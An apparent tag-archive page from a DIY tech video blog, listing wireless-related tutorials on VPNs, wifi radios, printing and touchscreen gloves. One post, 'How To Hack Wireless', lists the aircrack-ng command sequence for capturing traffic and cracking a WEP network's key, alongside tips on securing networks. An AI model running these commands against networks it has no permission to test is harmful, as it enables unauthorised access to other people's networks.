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  • How To Find Free Wifi

    November 2, 2013 // davisde // DIY Projects Tags: available, find, free, router, virtual, wi-fi, wifi, wireless 1 Response


    This video shows you some common tips for never being wifi-less again!

     

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    This video shows you some common tips for never being wifi-less again!


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    Websites and apps for finding free wifi

    • JiWire
    • inSSIDer
    • iPhone Hack
    • Virtual Router Software

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  • Make Your Own Private Interwebz!

    August 18, 2012 // davisde // All Projects, Safety & Security Tags: business, desktop, guide, hackers, Hacks, home, how, laptop, network, networking, private, protection, safe, secure, server, tinkernut, tips, to, tricks, tutorial, virtual, vpn, wifi, wireless, work 11 Responses


    Stay secure on public wireless networks by making your own FREE virtual private network (VPN). This tutorial shows you how to set up an OpenVPN server and connect to it from your laptop.

    Links used in this video:
    http://www.openvpn.net
    http://tinkernut.com/wiki/page/Episode_328

  • Turn Any Gloves Into Touchscreen Gloves

    December 17, 2011 // davisde // DIY Projects Tags: cell, device, holiday, phone, screen, smartphone, tablet, touch, touchscreen, wireless, work 17 Responses


    Ever wanted to use your gloves with touchscreen devices like smartphones and tablets computers? This video will show you an easy way to convert any gloves into touchscreen gloves.

    Where to get the parts:

    • Conductive Thread
    • Conductive Fabric

    Other Alternatives:

    • Thermal Paste
  • Print from your Cell Phone or iPad

    November 15, 2010 // davisde // Featured Articles, Hacks Tags: cloud, free, ipad, iphone, mobile, phone, print, printer, printing, smartphone, tinkernut, tips, tricks, tutorial, wireless 71 Responses


    In this episode, we discover how to print to your home printer from anywhere using your mobile device, including most smartphones and the iPad.

    Google Cloud Print: http://code.google.com/apis/cloudprint/docs/overview.html
    Dropbox: http://www.dropbox.com
    Droppedbox (Windows Mobile): http://forum.xda-developers.com/showthread.php?t=687534
    E-print (for Windows): http://img.labnol.org/files/e-print.zip
    E-print (for Linux): http://www.labnol.org/software/print-files-on-linux/17841/
    E-print (for Mac): http://www.labnol.org/tech/print-files-on-remote-mac/17838/

  • FireSheep vs. Facebook

    November 8, 2010 // davisde // Hacks Tags: facebook, firefox, hack, Hacks, protection, secure, security, twitter, wireless 9 Responses


    Firesheep is a hacking program that can steal the facebook and twitter accounts of anyone on a shared Wi-Fi connection. This video will show you how to protect yourself against that.

    Firesheep – http://codebutler.github.com/firesheep
    Idiocy – http://jonty.co.uk/idiocy
    Fireshepard – http://notendur.hi.is/~gas15/FireShepherd
    HTTPS Everywhere – https://www.eff.org/https-everywhere

  • How To Make A Cheap WiFi Radio

    August 30, 2010 // davisde // DIY Projects Tags: asus, cheap, diy, internet, mp3, music, player, radio, shoutcast, wifi, wireless 40 Responses






    In this episode, I will show you how to create a cheap WiFi radio for under $50.

    Downloads
    Firmware direct download – http://wiki.openwrt.org/toh/asus/wl520gu
    Asus Restoration Utility – http://www.tinkernut.com/demos/253_wifi_radio/wl520.zip
    Putty – http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
    Ario MPD client – http://sourceforge.net/projects/ario-player/files/
    GTK+ for Windows – http://gtk-win.sourceforge.net/home/index.php/en/Downloads

    Parts Needed:
    Asus WL-520GU – http://www.amazon.com/Asus-WL-520GU-ASUS-Wireless-Router/dp/B000R3BTDC
    USB Sound – http://www.amazon.com/External-Channel-Sound-Adapter-Notebook/dp/B000N35A0Y

    Links:
    MPC Commands – http://linux.die.net/man/1/mpc
    MPD Clients – http://mpd.wikia.com/wiki/Clients

    Reference Sites:
    OpenWRT – http://www.openwrt.org
    MightyOhm – http://mightyohm.com

  • Boost Your Wireless Using An Old Router

    August 23, 2010 // davisde // Web Tips Tags: asus, router, tips, tricks, tutorial, wifi, wireless 2 Responses







    In this episode, I will show you how to use an old router into a wireless repeater that boosts your wireless signal extra far.

    Ubuntu Live CD
    Supported routers
    Windows Installation Guide
    Official guide

  • How To Hack Wireless

    January 27, 2010 // davisde // Hacks, Web Tips Tags: free, hack, hackers, hacking, linux, protect, protection, steal, tinkernut, tips, tricks, tutorial, wi-fi, wifi, wireless 51 Responses


    This video shows one method of hacking a wireless WEP connection and gives you some tips on how to better secure your wireless.

    WEBSITES:
    http://www.backtrack-linux.org
    http://www.imgburn.com

    TERMINAL COMMANDS:
    Startx
    /etc/init.d/networking start
    airmon-ng
    airmon-ng stop [wireless card name]
    airmon-ng start [wireless card name]
    airmon-ng
    airodump-ng [wireless card name]
    ctrl c
    airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
    aireplay-ng -1 0 a [bssid] [wireless card name]
    aireplay-ng -3 b [bssid][wireless card name]
    ctrl + c
    dir
    aircrack-ng [filename]

  • How To Hack Bluetooth Headsets

    September 30, 2009 // davisde // DIY Projects, Hacks, Safety & Security Tags: bluetooth, cell, hack, hacking, mobile, sonar, tinkernut, tips, tricks, tutorial, wireless 9 Responses





    This video shows one of the vulnerabilities of some bluetooth headsets. To prevent this vulnerability, it’s best to invest a little more money into a more secure headset and making sure your headset is turned off when not in use. You can find all of the links and scripts used in this video, as well as find answers to questions you may have at the link below:

    http://www.tinkernut.com/groups/videotutorial-extras/forum/topic/how-to-hack-bluetooth-headsets/

  • How To Set Up A Wireless Network

    July 28, 2008 // davisde // Computer Hardware, Video Tags: diy, how, internet, network, router, set, to, up, wifi, wireless 4 Responses


    This tutorial walks you through the basics of setting up a wireless tutorial.